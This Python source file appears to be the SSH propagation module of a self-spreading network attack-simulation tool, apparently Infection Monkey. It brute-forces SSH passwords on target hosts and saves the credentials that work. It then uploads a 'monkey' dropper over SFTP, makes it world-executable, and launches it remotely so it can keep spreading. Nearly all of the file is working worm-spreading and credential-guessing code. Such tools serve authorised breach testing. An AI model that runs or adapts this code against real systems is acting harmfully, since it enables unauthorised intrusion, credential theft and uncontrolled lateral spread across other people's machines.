import paramiko
import monkeyfs
import logging
from exploit import HostExploiter
from model import MONKEY_ARG
from exploit.tools import get_target_monkey
from network.tools import check_port_tcp
import time

__author__ = 'hoffer'

LOG = logging.getLogger(__name__)
SSH_PORT = 22
TRANSFER_UPDATE_RATE = 15


class SSHExploiter(HostExploiter):
    _target_os_type = ['linux', None]

    def __init__(self):
        self._config = __import__('config').WormConfiguration
        self._update_timestamp = 0

    def log_transfer(self, transferred, total):
        if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE:
            LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
            self._update_timestamp = time.time()

    def exploit_host(self, host, depth=-1, src_path=None):
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.WarningPolicy())

        port = SSH_PORT
        # if ssh banner found on different port, use that port.
        for servkey, servdata in host.services.items():
            if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
                port = int(servkey.replace('tcp-', ''))

        is_open, _ = check_port_tcp(host.ip_addr, port)
        if not is_open:
            LOG.info("SSH port is closed on %r, skipping", host)
            return False                

        passwords = list(self._config.ssh_passwords[:])
        known_password = host.get_credentials(self._config.ssh_user)
        if known_password is not None:
            if known_password in passwords:
                passwords.remove(known_password)
            passwords.insert(0, known_password)

        exploited = False
        for password in passwords:
            try:
                ssh.connect(host.ip_addr,
                            username=self._config.ssh_user,
                            password=password,
                            port=port,
                            timeout=None)

                LOG.debug("Successfully logged in %r using SSH (%s : %s)",
                          host, self._config.ssh_user, password)
                host.learn_credentials(self._config.ssh_user, password)
                exploited = True
                break

            except Exception, exc:
                LOG.debug("Error logging into victim %r with user"
                          " %s and password '%s': (%s)", host,
                          self._config.ssh_user, password, exc)
                continue

        if not exploited:
            LOG.debug("Exploiter SSHExploiter is giving up...")
            return False

        if not host.os.get('type'):
            try:
                _, stdout, _ = ssh.exec_command('uname -o')
                uname_os = stdout.read().lower().strip()
                if 'linux' in uname_os:
                    host.os['type'] = 'linux'
                else:
                    LOG.info("SSH Skipping unknown os: %s", uname_os)
                    return False
            except Exception, exc:
                LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc)
                return False

        if not host.os.get('machine'):
            try:
                _, stdout, _ = ssh.exec_command('uname -m')
                uname_machine = stdout.read().lower().strip()
                if '' != uname_machine:
                    host.os['machine'] = uname_machine
            except Exception, exc:
                LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc)

        src_path = src_path or get_target_monkey(host)

        if not src_path:
            LOG.info("Can't find suitable monkey executable for host %r", host)
            return False

        try:
            ftp = ssh.open_sftp()

            self._update_timestamp = time.time()
            with monkeyfs.open(src_path) as file_obj:
                ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
                          callback=self.log_transfer)
                ftp.chmod(self._config.dropper_target_path_linux, 0777)

            ftp.close()
        except Exception, exc:
            LOG.debug("Error uploading file into victim %r: (%s)", host, exc)
            return False

        try:
            cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
            if host.default_tunnel:
                cmdline += " -t " + host.default_tunnel
            if host.default_server:
                cmdline += " -s " + host.default_server
            if depth > 0:
                cmdline += " -d %d" % (depth - 1)

            cmdline += "&"
            ssh.exec_command(cmdline)

            LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
                     self._config.dropper_target_path_linux, host, cmdline)
            
            ssh.close()
            return True

        except Exception, exc:
            LOG.debug("Error running monkey on victim %r: (%s)", host, exc)
            return False